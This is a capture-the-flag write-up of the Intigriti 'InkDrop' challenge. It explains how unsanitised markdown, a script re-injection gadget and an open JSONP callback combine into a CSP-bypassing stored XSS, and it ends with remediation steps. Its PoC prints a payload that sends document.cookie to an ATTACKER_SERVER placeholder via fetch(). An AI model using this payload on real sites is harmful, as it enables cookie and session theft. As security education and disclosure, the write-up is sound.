Intigriti 02-26: InkDrop
TL;DR
- "Markdown" is rendered with no sanitisation, so raw HTML is stored.
- Post content is inserted into the DOM using
innerHTML. - A client-side gadget re-injects any
<script src="/api/...">tags, bypassing CSP. /api/jsonpallows arbitrary callback execution (no meaningful validation).- XSS runs in the bot context and exfiltrates the
flagcookie to an attacker server.
Challenge Description
Find the FLAG and win Intigriti swag! 🏆
Useful Resources
Solution
In this writeup, we'll review the latest Intigriti Monthly challenge, created by d3dn0v4 💜
Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰
Recon
It's a small web app where you can create posts (markdown-ish) and report them to a moderator (👀).
Even though source is provided, I still like to poke the UI first to see what actually renders where, and explore the intended functionality.
Site Functionality
InkDrop is a basic notes / blog style app:
- Register and login.
- Create a post with "Markdown supported".
- View the post.
- Report the post to a moderator.

When viewing a post containing simple markdown, the content appears as expected.

However, if we open DevTools and look at the Network tab, we notice something interesting.

The endpoint returns JSON containing a field called html, which includes the rendered post content.
{ "author": "cat", "html": "<p><a href=\"https://cryptocat.me\">cat</a></p>", "id": 957, "rendered_at": 1771616646.597164, "title": "meow" }
So the rendering is happening via an API call rather than being embedded directly in the initial HTML response.
Source Code Review
The challenge comes with source code, so let's go straight for anything involving rendering and bots.
Bot behaviour
In bot.py, the bot:
- logs in as
admin - sets a
flagcookie (not HttpOnly 🙏) - visits
/post/<id>for the reported post
context.add_cookies([{
'name': 'flag',
'value': FLAG,
'domain': 'nginx',
'path': '/',
'httpOnly': False,
'secure': False,
'sameSite': 'Lax'
}])
Rendering pipeline
The backend "markdown renderer" is not a renderer. It's a series of regex replacements and then a <p> wrapper:
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_content
No escaping, no sanitisation 😈
The rendered HTML is returned via:
@app.route('/api/render')
def api_render():
rendered_html = render_markdown(post.content)
return jsonify({ 'html': rendered_html, ... })
So our raw HTML ends up inside JSON, which is then rendered by the frontend.
CSP
The post_view template sets CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;" />
- inline scripts are blocked
- inline event handlers are blocked
- only same-origin scripts are allowed
DOM injection and gadget
The post_view page also loads /static/js/preview.js which does:
preview.innerHTML = data.html;
processContent(preview);
function processContent(container) {
const scripts = container.querySelectorAll("script");
scripts.forEach(function (script) {
if (script.src && script.src.includes("/api/")) {
const newScript = document.createElement("script");
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}
- Our HTML is inserted using
innerHTML. - Scripts inserted via
innerHTMLdo not execute by default. - The developer then re-injects scripts manually, which does execute them.
- The only restriction is that
script.srcmust include/api/.
So our payload needs to be a <script src="/api/...">.
JSONP execution
There is a JSONP endpoint in app.py:
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback:
callback = 'handleData'
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')
- only blocks literal
<and> - allows arbitrary JS expressions as "callback"
- returns valid JavaScript which will run as a same-origin script
So the exploit chain is:
- Store
<script src="/api/jsonp?callback=..."></script>in post content. /api/renderreturns it as HTML.preview.jsre-injects it as a real<script>element.- The JSONP response executes our callback.
- Callback reads
document.cookieand exfiltrates it.
Exploit
Create a post with:
<script src="/api/jsonp?callback=alert('meow')//"></script>
If we view the post, we'll get an alert. CSP is effectively bypassed by the preview.js gadget.

PoC
We want to send the cookie to an attacker-controlled server, e.g.
<script src="/api/jsonp?callback=fetch(
'https://ATTACKER_SERVER/?c='
.concat(encodeURIComponent(document.cookie)))//"></script>
We use encodeURIComponent() so special characters in the cookie do not corrupt the attacker request.
When the bot visits the post, the request to the attacker server includes the cookie (flag).

Flag: INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b} 🚩
Remediation
- Do not "render markdown" with regex. Use a real markdown parser and sanitise output (allowlist).
- Do not set HTML directly with
innerHTMLunless it is sanitised. - Remove the script reinjection gadget entirely.
- Remove JSONP, or hardcode callback names and refuse arbitrary expressions.
- Set the flag cookie as
HttpOnlyso JS cannot read it.
Summary (TLDR)
InkDrop stores user-controlled "markdown" and returns it as HTML via /api/render without sanitisation. The frontend inserts that HTML using innerHTML, and then helpfully re-executes any <script> tags pointing at /api/*, effectively bypassing CSP. Since /api/jsonp allows arbitrary callback execution, we can run JavaScript in the moderator bot context and leak document.cookie, which includes the non-HttpOnly flag cookie 😺